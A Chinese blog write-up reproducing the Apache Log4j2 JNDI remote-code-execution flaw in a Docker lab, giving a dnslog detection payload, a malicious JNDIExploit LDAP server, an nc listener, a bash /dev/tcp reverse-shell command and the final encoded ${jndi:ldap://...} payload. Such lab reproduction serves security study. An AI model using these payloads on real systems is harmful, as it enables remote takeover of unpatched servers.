Apache-Log4j2-Rce漏洞复现
最近最热门的无非是最近爆出的超大boss—Apache log4j2组件的rce漏洞。安全圈俗称'过年',漏洞影响范围之广,危害之大堪比当年的永恒之蓝。由于最近爆出,危害程度目前还正在不断扩大中。超多的大佬已经复现了,那么作为网络安全的小白,不复现一下就是对不起自己。!!!
Apache log4j介绍
Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。该工具重写了log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组建等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。
下面开始复现
1,首先搭建靶场:
使用docker环境搭建靶场,应该说是最最方便的了。至于docker环境的安装这里就不用我多讲了。
拉取镜像:
docker pull vulfocus/log4j2-rce-2021-12-09
root@localhost# docker pull vulfocus/log4j2-rce-2021-12-09
Using default tag: latest
latest: Pulling from vulfocus/log4j2-rce-2021-12-09
7b1a6ab2e44d: Pull complete
137d0593639e: Pull complete
4f4fb700ef54: Pull complete
830718d01660: Pull complete
a08ba33271e9: Pull complete
f26156a19734: Pull complete
Digest: sha256:49ed4882bfee3fef1787adfb354f75f78eb1e45a6fd0d02ea56661edaf120982
Status: Downloaded newer image for vulfocus/log4j2-rce-2021-12-09:latest
docker.io/vulfocus/log4j2-rce-2021-12-09:latest
启动docker容器:
docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09
root@localhost# docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09
c93cf087cc973cdb0b7b92826c702c7ca80959d7a1dabf1429f0eb66f4c7c311
访问:ip:38080即可。出现如下页面表示靶机搭建完成。

2,dnslog检测漏洞存在:
访问存在漏洞页面:http://192.168.145.128:38080/hello,抓包。
漏洞存在点在payload参数,payload格式为:${jndi:ldap://xxx.dnslog.cn/exp}
注意,这时把get请求改为post,同时添加请求头:Content-Type:application/x-www-form-urlencoded

刷新dnslog.cn:

发现dnslog.cn记录,说明存在log4j2-rce漏洞。
3,反弹Shell:以下操作均在攻击机上(192.168.145.142)
使用JNDIExploit-1.2-SNAPSHOT.jar搭建恶意的jndi服务。这里我们使用的是ldap的1389端口
┌──(kali㉿kali)-[~/Desktop/JNDIExploit.v1.2]
└─$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.145.142
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8080...
开启nc监听
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
这样,攻击机的设置就完成了,然后开始写payload,触发漏洞,反弹shell。
反弹shell paylaod:
bash -i >& /dev/tcp/192.168.145.142/8888 0>&1
进行base64编码然后两次url编码:(看情况,有时可能只需要url编码一次,有时需要url编码2次,也有可能不需要url编码,看1389端口返回执行的具体command命令到底是多少,然后决定怎么进行编码。在最终的command命令下,必须要解析为正确的反弹shell命令,如下,如果解析失败的话,会提示Exception: Incorrect params:错误,这个时候需要修改url编码让它能够正确解析。)
YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjE0NS4xNDIvODg4OCAwPiYx

最终payload为:
${jndi:ldap://192.168.145.142:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjE0NS4xNDIvODg4OCAwPiYx}
在burp里面,如果不成功,就把这个参数进行url全编码,在此发送,url全编码还是比较好用的。
发送数据包,触发漏洞,反弹shell:有可能会等待时间较久,需要有耐心。

完毕。
Apache-Log4j2-Rce漏洞复现的更多相关文章
- Apache Solr Velocity模板注入RCE漏洞复现
Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...
- Apache Solr JMX服务 RCE 漏洞复现
Apache Solr JMX服务 RCE 漏洞复现 ps:Apache Solr8.2.0下载有点慢,需要的话评论加好友我私发你 0X00漏洞简介 该漏洞源于默认配置文件solr.in.sh中的EN ...
- Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现
Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现 一.漏洞描述 Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.12,官网: ...
- Apache Shiro反序列化漏洞复现
Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...
- 【Vulhub】CVE-2019-3396 Confluence RCE漏洞复现
CVE-2019-3396 Confluence RCE漏洞复现 一.环境搭建 选择的vulhub里的镜像,进入vulhub/Confluence/CVE-2019-3396目录下,执行 docker ...
- Apache Flink 任意 Jar 包上传致 RCE 漏洞复现
0x00 简介 Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布.数据通信以及容错机制等功能.基于流执行引擎,Flink提供了诸多更高抽象层的API以便用户编写分布式任 ...
- Apache Tomcat Ajp-CVE-2020-1938漏洞复现
环境搭建: sudo docker pull duonghuuphuc/tomcat-8.5.32 sudo docker run -d -it -p 8080:8080 -p 8009:8009 ...
- Solr 8.2.0最新RCE漏洞复现
漏洞描述 国外安全研究员s00py公开了一个Apache Solr的Velocity模板注入漏洞.该漏洞可以攻击最新版本的Solr. 漏洞编号 无 影响范围 包括但不限于8.2.0(20191031最 ...
- Apache Shiro 反序列化漏洞复现(CVE-2016-4437)
漏洞描述 Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞. 漏洞原理 A ...
- CVE-2019-5475:Nexus2 yum插件RCE漏洞复现
0x00 前言 如果有想一起做漏洞复现的小伙伴,欢迎加入我们,公众号内点击联系作者即可 提示:由于某些原因,公众号内部分工具即将移除,如果有需要的请尽快保存 0x01 漏洞概述 最近hackerone ...
随机推荐
- query查询原生sql
print(str(Teahcer.objects.filter(fans__gte=500).order_by('name').query)
- switch条件语句2
/*switch条件语句*/ #include<stdio.h> int main() { while (1) { int num; printf("请输入你的选择编号:\n&q ...
- vue-router几大坑
如今vue使用率很高,踩坑这就是很平常的了,使用了几年坑都依然没踩完,纠结呀 一.router.js配置要点 大家都知道vue 是组件化开发,页面很多路由难免, 这里是路由配置router.js 最外 ...
- 代码随想录算法训练营Day44 动态规划
代码随想录算法训练营 代码随想录算法训练营Day44 动态规划|完全背包 518. 零钱兑换 II 377. 组合总和 Ⅳ 完全背包 有N件物品和一个最多能背重量为W的背包.第i件物品的重量是weig ...
- python 学习之-----正则表达式
mport re'''# re 模块regex 正则表达式,正则表达式应用范围:1爬虫:2自动化运维--开发自动化:# 什么是正则表达式:一套规则: 匹配字符串的规则# 能做什么 1 检测一个输入的字 ...
- Kubernetes(k8s)健康性检查:livenessprobe探测和readinessprobe探测
目录 一.系统环境 二.前言 三.Kubernetes健康性检查简介 四.创建没有探测机制的pod 五.添加livenessprobe探测 5.1 使用command的方式进行livenessprob ...
- IIC通信协议
1.IIC 通信协议简介 I2C 通讯协议(Inter-Integrated Circuit)是由 Phiilps 公司开发的, 由于它引脚少,硬件实现简单,可扩展性强,不需要 USART.CAN 等 ...
- 文盘Rust -- tokio绑定cpu实践
tokio 是 rust 生态中流行的异步运行时框架.在实际生产中我们如果希望 tokio 应用程序与特定的 cpu core 绑定该怎么处理呢?这次我们来聊聊这个话题. 首先我们先写一段简单的多任务 ...
- debug.exe的使用
debug.exe的使用 debug.exe 是 Windows 操作系统自带的一个命令行调试工具,用于在 DOS 环境下进行汇编语言级别的调试操作.它可以让程序员以来自底层的方式逐步执行代码并检查每 ...
- 【HMS Core】Health Kit健康数据采样, 原子采样数据问题
[问题描述] 1.体脂数据中的肌肉量和水份量是如何获得的,都有些什么?体脂数据中的体重,体脂是用户自己上传的,然后通过计算公式得到数据吗 2.日常活动统计数据包含什么内容,怎么获取这些数据? 3. 锻 ...